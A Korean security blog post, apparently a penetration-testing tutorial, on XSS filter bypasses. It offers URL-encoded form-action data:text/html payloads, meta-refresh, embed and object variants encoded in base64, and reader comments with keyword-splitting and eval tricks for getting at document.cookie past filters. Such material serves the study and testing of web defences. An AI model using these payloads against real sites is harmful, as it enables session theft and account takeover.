XSS 공격 시 많이 사용하는 기법입니다만 재미난걸 하나 찾은김에 겸사겸사 정리할까 합니다.

Today's bypass XSS filter - <form> + data:text/html + URL Encoding

여러가지 규칙이 있었습니다. 문자열 기번의 필터링으로 사용할 수 있는 태그가 한정되어있고, 이벤트 핸들러 또한 거의 전부 필터링되었죠.
그리고.. 결정적으로 base, java , script 등 문자열 필터링으로 우회 구문 작성하는데 좀 귀찮았습니다.

오늘의 Bypass filter는 <form> 태그와 data:text/html , URL Encoding 의 조합입니다.

form 태그는 action에 담긴 주소로 요청 발송합니다. 그래서.. action에 javascript:alert(45) 와 같은 형태로 구문이 들어갈 시 그대로 호출하게 되며 스크립트가 실행되죠. java, script 등 문자열에 대한 필터링이 적용되어 있고 좀 껄끄러운 형태로 되어 있어서 필터링 되지 않는 문자를 이용해보려 생각하던 중 data: 를 이용한 구문들이 생각났습니다. 대체로 object, iframe 등 태그에 사용되나 form 에도 가능하지 않을까라는 의문에서 시작하였고, 예상대로 form을 이용하여 XSS 구문 성립이 가능하였죠.

<form action=data:text/html;charset=utf-8,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%34%35%29%3c%2f%73%63%72%69%70%74%3e>
<input type=submit>
</form>
아주 심플하죠. base 문자열도 필터링되어서 url 인코딩을 하여 필터링 규칙을 벗어나고, <form> action으로 호출되지 때문에 브라우저에서 열릴 때 URL Deocde 되는걸 이용하면 인코딩된 문자열의 해제로 스크립트가 동작하게 됩니다.

data:text/html for XSS

meta tag
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCg0NSk8L3NjcmlwdD4=">

embed tag

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMCIgaGVpZ2h0PSIxMCIgaWQ9InhzcyI+PHNjcmlwdCB0eXBlPSJ0ZXh0L2VjbWFzY3JpcHQiPmFsZXJ0KDQ1KTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

object tag

<object data="data:application/x-shockwave-flash;base64,
RldTCSEAAABIAZAAZAAADAEARBEIAAAAQwIAAP9AAAAA"></object> 
 <!-- xss swf in Base64 data --> 

댓글 4개:

  1. 안녕하세요 모의해킹 잘보고있습니다 근데 궁금한게 있는데 xss공격을 취할때 document.cookie 보통 이걸로 쿠키를 따는데 필터링이 되서 막히면 다른 우회방법이 있나요??

    답글삭제
  2. 우회 방법이 정해져있는건 아닙니다. 필터링이 된다면.. 분명 규칙이란게 존재할거고, 우리는 그걸 풀면됩니당.
    물론 풀기 위해선, xss 공격에 대한 이해뿐만 아니라 웹/HTML 등 전반적인 지식이 있을 수록 좋습니다.

    e.g
    document.cookie -> 사라지면..
    documedocument.cookient.cookie -> document.cookie

    document.cookie -> 처리하지 않음
    var pay1 = "docum";
    var pay2 = "ent.cookie";
    var res = eval(pay1+pay2);
    alert(res);

    등등 조금씩 생각을 전환하면 방법은 끝도없이 나올 수 있겠지요. 인코딩을 이용해서 넘어갈 수 있는 방법도 많구요.
    고민해보시면 좋은 결과 있을거에요.

    겸사겸사.. 별 도움은 안되겠지만, 아래 링크같은 방법도 있지요. 참고만.. :)
    http://www.hahwul.com/2016/05/web-hacking-xdexss-dom-base-evasion.html
    http://www.hahwul.com/2017/01/web-hacking-bypass-xssquotation.html

    답글삭제
  3. 안녕하세요. 궁금한점이 있어 실례를 무릎쓰고 질문올립니다. 글에 있는 embed태그에서 alert문이 동작을 하긴하는데 이상하게도 값으로document.cookie를 출력하려하면 동작하지 않더라고요. alert(45)나 일반 문자는 잘되고요. 필터링 테스트는 필터링이 없는 비박스 low단계에서 해봤습니다. 뭔가 추가적으로 해야하는게 있는걸까요 ㅜㅜ?

    답글삭제
    답글
    1. 안녕하세요 :)

      우선 문제 원인에 대해 이야기하자면.. 스크립트 실행을 누가하느냐에 달려있습니다.

      data: 구문으로 동작 시 해당 웹 페이지의 DOM영역이 아닌 분리된 영역에서 동작하게 됩니다.
      그래서 document.cookie와 도메인에서 유효한 데이터들을 가져올 수 없게되죠.

      document의 데이터를 가져오려는 목적이라면 payload에 조금 더 추가적인 구문이 필요할 것 같네요.(이것도 해당 웹 페이지의 상태에 따라서 달라질듯합니다)

      삭제